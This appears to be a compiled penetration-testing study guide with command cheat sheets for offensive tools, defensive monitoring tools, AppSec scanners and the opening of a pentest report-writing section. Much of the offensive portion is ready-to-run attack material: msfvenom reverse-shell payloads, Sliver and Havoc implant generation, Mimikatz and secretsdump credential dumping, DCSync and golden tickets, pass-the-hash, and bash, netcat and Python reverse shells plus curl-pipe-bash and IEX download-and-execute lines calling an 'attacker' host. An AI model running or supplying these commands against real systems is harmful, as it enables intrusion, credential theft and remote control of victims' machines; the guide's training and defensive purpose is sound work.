- PayloadsAllTheThings: <https://github.com/swisskyrepo/PayloadsAllTheThings>
- searchsploit/exploitdb: <https://www.exploit-db.com/>

Metasploit Framework

```
# Start console
msfconsole -q

# Search for module
msf > search type:exploit platform:windows smb

# Use a module
msf > use exploit/windows/smb/ms17_010_eternalblue
msf > show options
msf > set RHOSTS 192.168.1.100
msf > set LHOST 192.168.1.50
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > run

# Generate payload with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f elf -o payload.elf

msfvenom -p php/reverse_php \
  LHOST=192.168.1.50 LPORT=4444 \
  -f raw -o shell.php

# Multi-handler listener
msf > use multi/handler
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > set LHOST 0.0.0.0
msf > set LPORT 4444
msf > exploit -j # background as job

# Post-exploitation modules
msf > run post/multi/recon/local_exploit_suggester
msf > run post/windows/gather/hashdump
```

searchsploit

```
# Search by service/version
searchsploit apache 2.4.49
searchsploit "vsftpd 2.3.4"
searchsploit windows smb

# Copy exploit to current dir
searchsploit -m exploits/linux/remote/47887.py

# Show exploit in browser
searchsploit -w apache 2.4.49

# Update database
searchsploit -u
```

Sliver C2 (Open Source)

```
# Install
curl https://sliver.sh/install | sudo bash

# Start server
sliver-server

# Generate implant (HTTP beacon)
sliver > generate --http http://attacker:443 --os windows --arch amd64 --save payload.exe

# Generate implant (mTLS — more stealthy)
sliver > generate --mtls attacker:8888 --os linux --save payload.elf

# Start listener
sliver > http --lhost 0.0.0.0 --lport 443

# Interact with session
sliver > sessions
sliver > use <session-id>
sliver (session) > shell
sliver (session) > upload localfile remotepath
sliver (session) > socks5 start # SOCKS5 proxy for pivoting
```

Havoc C2 (Open Source — Modern)

```
# Build and run
git clone https://github.com/HavocFramework/Havoc
cd Havoc && make

# Start team server
./havoc server --profile ./profiles/havoc.yaotl

# Connect client
./havoc client

# Generate Demon implant via GUI
# Listeners → Add HTTP/HTTPS listener
# Payloads → Generate → Windows EXE
```

Cobalt Strike (Commercial — Know the Concepts)

```
# Core concepts to understand even without access:
Beacon      - implant, checks in on configurable interval (sleep/jitter)
Profiles    - C2 profiles control traffic patterns (malleable C2)
Team server - central C2 server, multiple operators connect via client
Aggressor   - scripting language to extend/automate Cobalt Strike
Pivoting    - SOCKS proxy, port forwards through Beacons
BOF         - Beacon Object Files, execute in-memory (no disk artifact)
```

Ethical Note

All exploitation frameworks must only be used in authorized lab environments or engagements with explicit written scope. C2 frameworks deployed without authorization is illegal in most jurisdictions.

Source: 18-industry-standard-tooling/05-active-directory-and-windows-tools.md

Active Directory and Windows Tools

AD attack tooling. Covered in depth in Phase 13 — this is the reference for what each tool does and core syntax.

Resources

- BloodHound docs: <https://bloodhound.readthedocs.io/>
- Impacket: <https://github.com/fortra/impacket>
- PayloadsAllTheThings AD: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md>
- harmj0y blog: <https://blog.harmj0y.net/>

BloodHound + Collectors

```
# Install BloodHound (CE — Community Edition)
docker run -p 8080:8080 specterops/bloodhound-ce

# Collect with bloodhound-python (from Linux, no RCE needed)
pip install bloodhound
bloodhound-python -u user -p 'Password123' -d corp.local -c All -ns 192.168.1.10

# Collect with SharpHound (from Windows host)
.\SharpHound.exe -c All --zipfilename bh-data.zip

# Upload zip to BloodHound UI
# Queries: "Find all Domain Admins", "Shortest path to DA", "Find Kerberoastable users"
```

CrackMapExec / NetExec

```
# Install
pip install netexec    # nxc replaces cme

# SMB enumeration
nxc smb 192.168.1.0/24          # host discovery
nxc smb 192.168.1.10 -u user -p 'Pass123'    # authenticate
nxc smb 192.168.1.10 -u user -p 'Pass123' --shares # list shares
nxc smb 192.168.1.10 -u user -p 'Pass123' --users  # list domain users
nxc smb 192.168.1.10 -u user -p 'Pass123' --pass-pol # password policy

# Pass-the-hash
nxc smb 192.168.1.10 -u Administrator -H '<NTLM_hash>' --shares

# Execute command
nxc smb 192.168.1.10 -u user -p 'Pass123' -x "whoami" --exec-method wmiexec

# Check for local admin across subnet
nxc smb 192.168.1.0/24 -u user -p 'Pass123' --local-auth
```

Impacket Suite

```
# SecretsDump – dump hashes (DCSYNC or local SAM)
secretsdump.py corp.local/user:Pass123@192.168.1.10
secretsdump.py corp.local/Administrator:Pass123@DC01 -just-dc    # DCSync

# PSEXEC – semi-interactive shell (needs admin share write)
psexec.py corp.local/Administrator:Pass123@192.168.1.10

# WMIExec – shell via WMI (no service installation)
wmiexec.py corp.local/user:Pass123@192.168.1.10

# Pass-the-hash with psexec
psexec.py -hashes :<NTLM_hash> Administrator@192.168.1.10

# GetUserSPNs – Kerberoasting
GetUserSPNs.py corp.local/user:Pass123 -dc-ip 192.168.1.10 -request

# GetNPUsers – AS-REP Roasting
GetNPUsers.py corp.local/ -dc-ip 192.168.1.10 -no-pass -usersfile users.txt

# Certipy – AD CS attacks
certipy find -u user@corp.local -p Pass123 -dc-ip 192.168.1.10
certipy req -u user@corp.local -p Pass123 -target-ip 192.168.1.10 -ca 'CORP-CA' -template 'User'
```


PowerView (AD Enumeration from PowerShell)

```
# Load (bypass AMSI first in real engagements)
Import-Module .\PowerView.ps1

# Basic enumeration
Get-Domain
Get-DomainUser | Select-Object name, samaccountname, description
Get-DomainGroup "Domain Admins" | Select-Object member
Get-DomainComputer | Select-Object name, operatingsystem
Get-DomainGPO | Select-Object displayname

# Find local admin access
Find-LocalAdminAccess

# Check shares
Find-DomainShare -CheckShareAccess

# ACL abuse — find interesting ACEs
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.IdentityReferenceName -match "user" }
```

Rubeus (Kerberos Attacks)

```
# Kerberoasting
.\Rubeus.exe kerberoast /nowrap

# AS-REP Roasting
.\Rubeus.exe asreproast /nowrap

# Pass-the-Ticket
.\Rubeus.exe ptt /ticket:base64encodedticket==

# Request TGT
.\Rubeus.exe asktgt /user:Administrator /password:Pass123 /nowrap

# Overpass-the-hash
.\Rubeus.exe asktgt /user:Administrator /rc4:<NTLM_hash> /nowrap
```

Mimikatz

```
# Enable debug privilege
privilege::debug

# Dump LSASS credentials
sekurlsa::logonpasswords

# Pass-the-hash
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<hash> /run:cmd.exe

# DCSync
lsadump::dcsync /user:krbtgt /domain:corp.local

# Golden ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:<domain_SID> /krbtgt:<krbtgt_hash> /ptt
```

Evil-WinRM

```
# Connect with password
evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123'

# Connect with hash
evil-winrm -i 192.168.1.10 -u Administrator -H '<NTLM_hash>'

# Upload / download
*Evil-WinRM* PS> upload /local/path /remote/path
*Evil-WinRM* PS> download C:\Windows\System32\config\SAM /tmp/SAM

# Load PowerShell scripts
evil-winrm -i 192.168.1.10 -u user -p pass -s /path/to/ps1/scripts/
```

Ethical Note

All AD tools generate significant logs and alerts. Only use in authorized lab or engagement environments. DCSync and Pass-the-Hash are highly detectable by modern EDR solutions.

Source: `18-industry-standard-tooling/06-credential-and-hash-tools.md`

Credential and Hash Tools

Crack what you capture. Identify the hash type first, then throw the right attack at it.

Resources

- Hashcat example hashes: https://hashcat.net/wiki/doku.php?id=example_hashes
- SecLists passwords: <https://github.com/danielmiessler/SecLists/tree/master/Passwords>
- CrackStation (online): <https://crackstation.net/>
- hashes.com (online): <https://hashes.com/en/decrypt/hash>

Identify Hash Type

```
# hashid
pip install hashid
hashid '$2y$10$qJ9YB20kPBP2NM1RfDW4U0XJiLpRnRjB...'
hashid '5f4dcc3b5aa765d61d8327deb882cf99'

# hash-identifier
hash-identifier
# paste hash at prompt

# Hashcat auto-detect
hashcat --identify hash.txt
```

Hashcat

```
# Install (Kali pre-installed, or)
apt install hashcat

# Mode reference (most common)
# -m 0      MD5
# -m 100    SHA1
# -m 1400   SHA-256
# -m 1000   NTLM
# -m 5600   NetNTLMv2
# -m 13100  Kerberos TGS-REP (Kerberoasting)
# -m 18200  Kerberos AS-REP (AS-REP Roasting)
# -m 22000  WPA2 (PMKID)
# -m 1800   sha512crypt $6$
# -m 3200   bcrypt $2*$
# -m 500    md5crypt $1$

# Dictionary attack
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Dictionary + rules
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule

# Combine rule sets
hashcat -m 1000 hashes.txt rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/toggles1.rule

# Brute force (mask attack)
hashcat -m 0 hashes.txt -a 3 ?u?l?l?l?d?d?d?d # 8 chars: Upper+lower+4 digits
hashcat -m 0 hashes.txt -a 3 ?a?a?a?a?a?a      # 6 any chars

# Mask charset reference
# ?l = lowercase alpha
# ?u = uppercase alpha
# ?d = digits
# ?s = special chars
# ?a = all printable

# Show cracked results
hashcat -m 1000 hashes.txt rockyou.txt --show

# Resume session
hashcat --restore

# Use GPU (auto-detected)
hashcat -m 1000 hashes.txt rockyou.txt -d 1 # specify GPU device
```

John the Ripper

```
# Install
apt install john

# Auto-detect and crack
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Specify format
john hashes.txt --format=NT --wordlist=rockyou.txt
john hashes.txt --format=sha512crypt --wordlist=rockyou.txt

# List supported formats
john --list=formats | grep -i ntlm

# Show cracked
john hashes.txt --show

# Crack zip password
zip2john protected.zip > zip.hash
john zip.hash --wordlist=rockyou.txt

# Crack SSH key passphrase
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=rockyou.txt

# Crack /etc/shadow
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=rockyou.txt
```

Wordlists

```
# rockyou.txt (standard – 14M passwords)
ls /usr/share/wordlists/rockyou.txt.gz
gunzip /usr/share/wordlists/rockyou.txt.gz

# SecLists (comprehensive collection)
apt install seclists
ls /usr/share/seclists/Passwords/

# Most useful:
/usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt      # top 50
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100000.txt
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv

# Generate custom wordlist from target website
cewl http://target.com -d 2 -m 5 -w custom-wordlist.txt
```

Practical Hash Attack Examples

```
# NTLM (from secretsdump output)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaae8fb117ad06bdd830b7586c:::
hashcat -m 1000 ntlm.txt rockyou.txt -r rules/best64.rule

# Kerberoast TGS (from GetUserSPNs or Rubeus)
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...
hashcat -m 13100 tgs.txt rockyou.txt -r rules/best64.rule

# AS-REP Roast (from GetNPUsers or Rubeus asreproast)
# $krb5asrep$23$user@corp.local:...
hashcat -m 18200 asrep.txt rockyou.txt

# NetNTLMv2 (from Responder capture)
# user::CORP:challenge:response:...
hashcat -m 5600 netntlm.txt rockyou.txt
```

Source: [18-industry-standard-tooling/07-post-exploitation-tools.md](#)

Post-Exploitation Tools

After initial access — stabilize shell, enumerate, escalate, pivot. Speed matters; know these commands cold.

Resources

- PEASS-ng: <https://github.com/peass-ng/PEASS-ng>
- Ligolo-ng (pivoting): <https://github.com/nicocha30/ligolo-ng>
- GTFOBins: <https://gtfobins.github.io/>
- LOLBAS: <https://lolbas-project.github.io/>

Shell Stabilization

```
# Step 1 — upgrade dumb shell to PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# or
script /dev/null -c bash

# Step 2 — background and fix terminal
Ctrl+Z
stty raw -echo; fg
Enter

# Step 3 — fix terminal size
export TERM=xterm
stty rows 50 columns 220

# Windows — PowerShell from cmd
powershell -ep bypass

# If only cmd available, upgrade to PowerShell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('attacker',4444);$stream=$client.GetStream();..."
```

Netcat — Shells and File Transfer

```
# Listener (attacker)
nc -lvnp 4444

# Reverse shell (victim Linux)
nc -e /bin/bash attacker 4444
# no -e version:
bash -i >& /dev/tcp/attacker/4444 0>&1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc attacker 4444 > /tmp/f

# Windows reverse shell
nc.exe -e cmd.exe attacker 4444

# File transfer via netcat
# Attacker receive:
nc -lvnp 4444 > received_file
# Victim send:
nc attacker 4444 < file_to_send
```

Socat (Stable Shells + Port Relay)

```
# Stable interactive shell (better than nc)
# Attacker listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim connect:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:attacker:4444

# Port relay (pivot through victim)
socat tcp-listen:8080,fork tcp:internal-server:80

# Encrypted shell (SSL)
# Attacker:
socat openssl-listen:4444,cert=cert.pem,verify=0 file:`tty`,raw,echo=0
# Victim:
socat openssl:attacker:4444,verify=0 exec:'bash -li',pty,stderr,setsid,sigint,sane
```

PEASS-ng (LinPEAS / WinPEAS)

```
# Transfer LinPEAS to victim
# Attacker: serve file
python3 -m http.server 8000

# Victim: download and run
wget http://attacker:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas-out.txt

# Or pipe directly
curl -s http://attacker:8000/linpeas.sh | bash

# WinPEAS (Windows)
certutil -urlcache -split -f http://attacker:8000/winPEASx64.exe C:\Windows\Temp\wp.exe
C:\Windows\Temp\wp.exe
# or via PowerShell:
IEX(New-Object Net.WebClient).downloadString('http://attacker:8000/winPEASx64.ps1')
```

Meterpreter Post-Exploitation

```
# Shell → Meterpreter upgrade
msf > sessions -u 1

# In Meterpreter session
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem          # attempt privesc
meterpreter > hashdump          # dump local hashes
meterpreter > upload /local/file C:\\Windows\\Temp\\file
meterpreter > download C:\\Windows\\System32\\config\\SAM /tmp/

# Background and switch sessions
meterpreter > background
msf > sessions -i 2

# Setup SOCKS proxy for pivoting
meterpreter > run post/multi/manage/socks_proxy SRVPORT=1080 VERSION=5
# Add to /etc/proxychains4.conf: socks5 127.0.0.1 1080

# Pivot port forward
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.10
```

Ligolo-ng (Pivoting — Preferred)

```
# Covered in Phase 15 — quick reference:
# Attacker: start proxy
./proxy -selfcert -laddr 0.0.0.0:11601

# Victim: run agent
./agent -connect attacker:11601 -ignore-cert

# Attacker: add route
ligolo-ng » session
ligolo-ng » start

# On attacker: add network route
sudo ip route add 192.168.2.0/24 dev ligolo
```

File Transfer Techniques

```
# Python HTTP server (quickest)
python3 -m http.server 8000

# Linux download methods
wget http://attacker/file -O /tmp/file
curl http://attacker/file -o /tmp/file
bash -c 'cat < /dev/tcp/attacker/8000' # if wget/curl blocked

# Windows download methods
certutil -urlcache -split -f http://attacker/file C:\\Temp\\file
powershell -c "Invoke-WebRequest http://attacker/file -OutFile C:\\Temp\\file"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://attacker/file','C:\\Temp\\file')"
bitsadmin /transfer job /download /priority foreground http://attacker/file C:\\Temp\\file
```

Source: 18-industry-standard-tooling/08-defensive-tools.md

Defensive Tools

SOC and IR tooling. Know these as both a defender and to understand what attackers are evading.

Resources

- Sysmon config: <https://github.com/SwiftOnSecurity/sysmon-config>
- Velociraptor docs: <https://docs.velociraptor.app/>
- Splunk free dev license: https://www.splunk.com/en_us/download.html
- Elastic Security: <https://www.elastic.co/security>

Wireshark (Packet Analysis)

```
# Capture on interface
wireshark &
tshark -i eth0 -w capture.pcap

# Read pcap
tshark -r capture.pcap

# Filter syntax (display filters)
tshark -r capture.pcap -Y "http.request.method == POST"
tshark -r capture.pcap -Y "ip.addr == 192.168.1.10"
tshark -r capture.pcap -Y "dns"
tshark -r capture.pcap -Y "tcp.port == 4444"      # look for C2
tshark -r capture.pcap -Y "smb2"                 # SMB traffic

# Extract HTTP objects
tshark -r capture.pcap --export-objects http,/tmp/http-objects/
```

Zeek (Network Security Monitoring)

```
# Install
apt install zeek

# Analyze PCAP offline
zeek -r capture.pcap

# Live capture
zeek -i eth0

# Output logs (conn.log, http.log, dns.log, ssl.log, files.log)
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration
cat http.log | zeek-cut ts host uri user_agent status_code
cat dns.log | zeek-cut ts query qtype_name answers

# Look for beaconing (regular intervals in conn.log)
cat conn.log | zeek-cut id.orig_h id.resp_h duration | sort | uniq -c | sort -rn
```


Suricata (IDS/IPS)

```
# Install
apt install suricata

# Test against PCAP
suricata -r capture.pcap -l /tmp/suricata-logs/

# Live IDS mode
suricata -c /etc/suricata/suricata.yaml -i eth0

# View alerts
tail -f /var/log/suricata/fast.log
cat /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'

# Update Emerging Threats rules
suricata-update
```

Sysmon (Windows Endpoint Telemetry)

```
# Install with config (use SwiftOnSecurity config)
.\Sysmon64.exe -accepteula -i sysmonconfig-export.xml

# View logs
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Select-Object -First 20

# Key Event IDs
# 1  - Process creation (command line)
# 3  - Network connection
# 7  - Image loaded (DLL)
# 8  - CreateRemoteThread (process injection)
# 10 - Process access (credential dump)
# 11 - FileCreate
# 13 - RegistryEvent
# 22 - DNS query

# Forward to Splunk/Elastic via Winlogbeat
```

Velociraptor (DFIR + EDR)

```
# Start server
./velociraptor-v0.72-linux-amd64 config generate > server.config.yaml
./velociraptor-v0.72-linux-amd64 --config server.config.yaml frontend

# Deploy agent on endpoint and connect to server
# GUI at https://localhost:8889

# Key VQL queries (Velociraptor Query Language)
# Hunt for running processes:
SELECT Pid, Name, Exe, CommandLine FROM pslist()

# Find files modified recently:
SELECT FullPath, Mtime FROM glob(globs="C:/Users/*/AppData/Roaming/*") WHERE Mtime > "2024-01-01"

# Collect browser artifacts:
SELECT * FROM Artifact.Windows.Applications.Chrome.History()
```

Splunk (SIEM — SPL Queries)

```
# Start Splunk (free dev license, 500MB/day)
/opt/splunk/bin/splunk start

# Core SPL queries
# Failed logins
index=windows EventCode=4625 | stats count by Account_Name, Source_Network_Address

# Lateral movement (logon type 3)
index=windows EventCode=4624 Logon_Type=3 | stats count by Account_Name, Workstation_Name

# Process execution with Sysmon
index=sysmon EventCode=1 | table Time, Computer, User, CommandLine

# DNS queries to suspicious domains
index=dns | stats count by query | sort -count
```

YARA (Malware Pattern Matching)

```
# Install
apt install yara

# Example rule
cat > detect_mimikatz.yar << 'EOF'
rule Mimikatz {
  strings:
    $s1 = "sekurlsa::logonpasswords" ascii
    $s2 = "lsadump::dcsync" ascii
    $s3 = "mimikatz" ascii nocase
  condition:
    2 of them
}
EOF

# Scan file
yara detect_mimikatz.yar suspicious.exe

# Scan directory
yara -r detect_mimikatz.yar /suspect/directory/

# YARA rules library
# https://github.com/Yara-Rules/rules
```

TheHive (Incident Management)

```
# Docker deploy
docker-compose up -d # using official compose file

# Create case via API
curl -XPOST http://localhost:9000/api/case \
  -H "Authorization: Bearer $THEHIVE_KEY" \
  -H "Content-Type: application/json" \
  -d '{"title":"Suspicious C2 Traffic","severity":3,"tlp":2}'
```

Source: 18-industry-standard-tooling/09-appsec-tooling-summary.md

AppSec Tooling Summary

The standard AppSec engineer toolbox. Deep coverage in Phase 17 — this is the quick-reference map.

Tool Quick Reference

Tool	Type	Use Case	Free?
Semgrep	SAST	Multi-language code scanning	Yes
Bandit	SAST	Python-specific	Yes
Brakeman	SAST	Ruby on Rails	Yes
ESLint security	SAST	JavaScript/TypeScript	Yes
Snyk	SCA	Dependency + container vulns	Free tier
Trivy	SCA + Container	All-in-one scanner	Yes
OWASP Dep-Check	SCA	Java/.NET focus	Yes
OSV Scanner	SCA	Google, multi-ecosystem	Yes
Trufflehog	Secrets	Git history + live	Yes
GitLeaks	Secrets	Git scanning	Yes
detect-secrets	Secrets	Pre-commit hooks	Yes
OWASP ZAP	DAST	Web app automated scanning	Yes
Burp Suite Pro	DAST/Manual	Manual web testing	Paid
Nuclei	DAST	Template-based scanning	Yes
Checkmarx	SAST	Enterprise, broad language	Paid
Veracode	SAST+DAST	Enterprise SaaS	Paid
SonarQube CE	SAST	Code quality + security	Yes (CE)
pre-commit	Gates	Pre-commit hook framework	Yes

Installation One-Liner

```
# Install core free toolset
pip install semgrep bandit detect-secrets trufflehog
brew install trivy gitleaks nuclei
apt install zapproxy

# Go tools
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Node audit (built-in)
npm audit

# Pre-commit framework
pip install pre-commit
```

CI/CD Security Gate (Minimal)

```
# Minimum viable AppSec pipeline
- SAST:    semgrep --config=auto --error src/
- SCA:     trivy fs --exit-code 1 --severity HIGH,CRITICAL ./
- Secrets: trufflehog git file:/// --only-verified --fail
- DAST:    nuclei -u http://staging -severity high,critical -exit-code 1
```

Tool Decision Guide

Writing Python?	→ Bandit + Semgrep p/python
Writing JavaScript?	→ ESLint security + Semgrep p/javascript
Writing Go?	→ Semgrep p/go + gosec
Scanning containers?	→ Trivy image myapp:latest
Checking dependencies?	→ Snyk test OR trivy fs
Finding secrets in history?	→ Trufflehog git OR gitleaks detect
Running automated web scan?	→ Nuclei (fast) OR ZAP (thorough)
Manual web testing?	→ Burp Suite Pro
Enterprise SAST?	→ Checkmarx or Veracode
Self-hosted code quality?	→ SonarQube Community

What Commercial Tools Add Over Free

Checkmarx / Veracode:

- + Dataflow analysis (taint tracking) – fewer false positives
- + IDE integration out-of-box
- + Compliance reporting (PCI, SOC2, ISO 27001)
- + Priority support and SLAs

SonarQube Developer Edition (paid):

- + Branch analysis
- + Pull request decoration
- + Security hotspot triage

Snyk (paid tiers):

- + Priority score (reachability analysis)
- + License compliance
- + IaC scanning
- + Unlimited scans

Pre-Commit Config Template

```
# .pre-commit-config.yaml
repos:
- repo: https://github.com/gitleaks/gitleaks
  rev: v8.18.1
  hooks:
    - id: gitleaks

- repo: https://github.com/PyCQA/bandit
  rev: 1.7.5
  hooks:
    - id: bandit
      args: ["-c", "pyproject.toml"]

- repo: https://github.com/returntocorp/semgrep
  rev: v1.40.0
  hooks:
    - id: semgrep
      args: ["--config=auto", "--error"]
```

Source: [18-industry-standard-tooling/10-tool-quick-reference-cheatsheet.md](#)

Tool Quick Reference Cheatsheet

Dense command reference for exam and engagement. No prose — commands only.

Nmap

```
nmap -sC -sV -p- target -oA full          # full TCP
nmap -sC -sV --top-ports 1000 target -oA quick  # quick
nmap -sU --top-ports 100 target             # UDP top 100
nmap --script vuln target                   # vuln scripts
nmap -A target                             # OS + scripts + traceroute
masscan 192.168.1.0/24 -p- --rate=1000     # fast full port
```

Gobuster / ffuf

```
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster vhost -u http://target -w subs.txt --append-domain

ffuf -u http://target/FUZZ -w wordlist.txt -fc 404
ffuf -u "http://target/page?FUZZ=value" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
ffuf -u http://target -H "Host: FUZZ.target.com" -w subs.txt -fs 1234 # vhost
```

Burp Suite Shortcuts

Ctrl+R	Send to Repeater
Ctrl+I	Send to Intruder
Ctrl+F	Forward (intercept on)
Ctrl+Shift+D	Send to Decoder

SQLmap

```
sqlmap -u "http://target/page?id=1" --dbs
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump
sqlmap -r request.txt --dbs --level=5 --risk=3
```

Hashcat Modes

```
-m 0      MD5
-m 100    SHA1
-m 1400   SHA-256
-m 1000   NTLM
-m 5600   NetNTLMv2
-m 13100  Kerberos TGS-REP (Kerberoast)
-m 18200  Kerberos AS-REP (AS-REP Roast)
-m 22000  WPA2 PMKID
-m 1800   sha512crypt $6$
-m 3200   bcrypt $2*$

hashcat -m 1000 hashes.txt rockyou.txt
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt --show
```

Metasploit Sequence

```
msfconsole -q
search type:exploit platform:windows smb
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100 && set LHOST 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# msfvenom payloads
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f exe -o p.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f elf -o p.elf
msfvenom -p php/reverse_php LHOST=attacker LPORT=4444 -f raw -o shell.php
```

Netcat Shells

```
nc -lvnp 4444 # listener
bash -i >& /dev/tcp/attacker/4444 0>&1 # bash reverse shell
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|bash -i 2>&1|nc attacker 4444 >/tmp/f # mkfifo
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker",4444));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
```

Shell Upgrade

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm && stty rows 50 cols 220
```

LinPEAS / WinPEAS Transfer

```
# Serve
python3 -m http.server 8000

# Linux download
wget http://attacker:8000/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh
curl -s http://attacker:8000/linpeas.sh | bash

# Windows download
certutil -urlcache -split -f http://attacker:8000/winPEASx64.exe C:\Temp\wp.exe
powershell -c "IEX(New-Object Net.WebClient).downloadString('http://attacker:8000/winPEAS.ps1')"
```

BloodHound Collection

```
# From Linux
bloodhound-python -u user -p 'Pass' -d corp.local -c All -ns 192.168.1.10

# From Windows
.\SharpHound.exe -c All --zipfilename out.zip
```

Impacket Common Commands

```
secretsdump.py corp.local/user:Pass@DC01
secretsdump.py corp.local/Admin:Pass@DC01 -just-dc          # DCSync
psexec.py corp.local/Administrator:Pass@192.168.1.10
wmiexec.py corp.local/user:Pass@192.168.1.10
psexec.py -hashes :<NTLM> Administrator@target
GetUserSPNs.py corp.local/user:Pass -dc-ip 192.168.1.10 -request
GetNPUsers.py corp.local/ -dc-ip 192.168.1.10 -no-pass -usersfile users.txt
```

Evil-WinRM

```
evil-winrm -i target -u Administrator -p 'Password'
evil-winrm -i target -u Administrator -H '<NTLM_hash>'
# In session:
upload /local/file /remote/path
download C:\path\file /local/path
```

Ligolo-ng Pivoting

```
# Attacker
./proxy -selfcert -laddr 0.0.0.0:11601
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Victim
./agent -connect attacker:11601 -ignore-cert

# Attacker console
ligolo-ng » session
ligolo-ng » 1          # select session
ligolo-ng » start
sudo ip route add 192.168.2.0/24 dev ligolo
```

Proxychains

```
# /etc/proxychains4.conf
# socks5 127.0.0.1 1080

proxychains nmap -sT -Pn 192.168.2.10
proxychains nxc smb 192.168.2.10 -u user -p pass
proxychains evil-winrm -i 192.168.2.10 -u user -p pass
```

Nuclei Quick Run

```
nuclei -u http://target -severity high,critical
nuclei -list urls.txt -t ~/nuclei-templates/http/cves/ -severity critical
nuclei -update-templates
```

Phase — 19-report-writing-and-documentation

Directory: 19-report-writing-and-documentation/

Source: 19-report-writing-and-documentation/01-why-reporting-matters.md

Why Reporting Matters

A technically perfect pentest with a bad report delivers zero value. The report is what clients actually pay for — it's the only artifact they keep after you leave.

Why It's Critical

- **OSCP exam:** you must submit a professional report to pass, even if you fully compromised every machine
- **Job applications:** sample reports are routinely requested in pentest hiring interviews
- **Client relationship:** a clear report prevents re-testing disputes and proves scope coverage
- **Legal protection:** documents what was tested, when, and what was found

Resources

- TCM Security sample pentest report: github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report
- OffSec report template: provided inside PEN-200 course materials
- HackTricks reporting section: book.hacktricks.xyz (search "pentest report")

Report Management Tools

Tool	Use Case	URL
Ghostwriter	Full engagement management, finding library	ghostwriter.wiki
Dradis	Collaborative report building, integrates tool output	dradisframework.com
Obsidian	Local markdown notes → export to report	obsidian.md
Notion	Collaborative, good for templates	notion.so

What “Good” Looks Like

Read the TCM Security sample report on GitHub before writing anything. It demonstrates: - Executive summary that a CFO can understand - Findings with reproducible steps - Evidence that is clearly labelled and timestamped - Remediation that is actionable, not generic

Minimum Viable Practice

Document every single HTB or PG machine you solve as a mini-report. Force yourself to write: 1. Summary of what you found 2. Step-by-step exploitation with screenshots 3. Remediation recommendation

After 10 machines, report writing becomes muscle memory.

Source: 19-report-writing-and-documentation/02-pentest-report-structure.md

Pentest Report Structure

Standard professional pentest report has six sections. Deviating from this structure raises red flags with clients and reviewers.

The Six Sections

1. Cover Page

- Client name, engagement name
- Assessment dates (start → end)
- Assessor name(s) and company
- Classification: Confidential
- Version and date of report

2. Executive Summary (1 page max)

- Written for non-technical readers: CISO, CFO, board
- What was tested (1 sentence), overall risk rating, top 3 findings, business impact
- No tool names, no CVE numbers, no technical jargon

3. Scope and Methodology

- In-scope hosts, IPs, URLs, network ranges
- Out-of-scope explicitly stated
- Approach: black-box / grey-box / white-box
- Timeline: assessment window, any restrictions
- Testing methodology referenced (PTES, OWASP, OSSTMM)

4. Findings

- One template per finding (see `03-finding-template-and-cvss.md`)
- Ordered: Critical → High → Medium → Low → Informational
- Each finding standalone — someone should be able to fix it without reading the rest of the report

5. Remediation Summary Table

